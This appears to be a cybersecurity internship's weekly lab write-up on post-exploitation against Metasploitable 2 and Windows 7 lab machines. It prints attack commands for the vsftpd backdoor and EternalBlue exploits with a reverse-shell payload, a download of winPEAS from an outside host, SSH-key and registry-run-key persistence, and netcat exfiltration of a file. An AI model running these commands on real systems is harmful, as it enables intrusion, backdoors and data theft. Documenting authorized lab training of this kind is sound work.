Share
## https://sploitus.com/exploit?id=80BA2CB6-453D-54AE-B26D-FA90302D1515
# โฌ†๏ธ Week 05 โ€” Post-Exploitation & Privilege Escalation

**Intern:** Ali Ahsan | **Roll No:** CSI-B1-427
**Program:** Cyberstar Cybersecurity Red Teaming Internship
**Instructor:** Umar Niaz
**Date:** 06 April 2026
**Targets:** Metasploitable 2 (Linux) ยท Windows 7

---

## ๐Ÿ“Œ Overview

This week focused on escalating privileges from low-privilege accounts to root/SYSTEM on both Linux and Windows targets, establishing persistence, and exfiltrating data โ€” completing the post-exploitation phase of a real-world attack chain.

---

## ๐Ÿงช Tasks Covered

### Task 01 โ€” Linux Privilege Escalation (Metasploitable)

**Initial Access via VSFTPD Backdoor:**
```bash
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOST 
exploit
```

**Shell Stabilization:**
```bash
python -c 'import pty; pty.spawn("/bin/bash")'
```

**Manual Enumeration:**
```bash
sudo -l                                    # Check sudo rights
find / -perm -u=s -type f 2>/dev/null     # SUID binary search
```

**Automated Enumeration:**
- **LinPEAS** โ€” comprehensive privilege escalation enumeration
- **LSE (Linux Smart Enumeration)** โ€” supplementary context with verbosity level 2

### Task 02 โ€” Windows Privilege Escalation

**EternalBlue (MS17-010):**
```bash
use exploit/windows/smb/ms17_010_eternalblue
set RHOST 
set PAYLOAD windows/x64/meterpreter/reverse_tcp
exploit
```

**Token Impersonation โ€” PrintSpoofer:**
```bash
whoami /priv                        # Confirm SeImpersonatePrivilege
PrintSpoofer.exe -i -c cmd          # Spawn SYSTEM shell
```

**Automated Enumeration:**
```bash
certutil -urlcache -f http:///winPEAS.exe winPEAS.exe
powershell -ep bypass
. .\PowerUp.ps1; Invoke-AllChecks
```

### Task 03 โ€” Establishing Persistence

**Linux โ€” SSH Key Injection:**
```bash
ssh-keygen -t rsa -b 4096 -f ~/.ssh/id_rsa
cat ~/.ssh/id_rsa.pub >> /root/.ssh/authorized_keys
```

**Windows โ€” Registry Run Key:**
```bash
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Update" /t REG_SZ /d "C:\Users\Public\calc.exe" /f
```

### Task 04 โ€” Data Exfiltration

**Netcat Transfer:**
```bash
# Receiver (Kali):
nc -lvnp 4444 > stolen.txt
# Sender (Target):
nc  4444 :8000/sensitive_file.txt
```

---

## ๐Ÿ† Key Accomplishments

- Escalated from `www-data` โ†’ `root` on Linux via SUID binaries
- Achieved `NT AUTHORITY\SYSTEM` on Windows 7 via EternalBlue + PrintSpoofer
- Deployed and used LinPEAS, LSE, WinPEAS, PowerUp
- Established persistent backdoors on both targets
- Successfully exfiltrated data via Netcat and Python HTTP server

---

## ๐Ÿ› ๏ธ Tools Used

`Metasploit` ยท `LinPEAS` ยท `LSE` ยท `WinPEAS` ยท `PowerUp` ยท `PrintSpoofer` ยท `Netcat` ยท `Python HTTP Server`

---

## โš ๏ธ Disclaimer

> Performed in an **authorized lab environment** using Metasploitable 2 and Windows 7 VMs. For educational purposes only.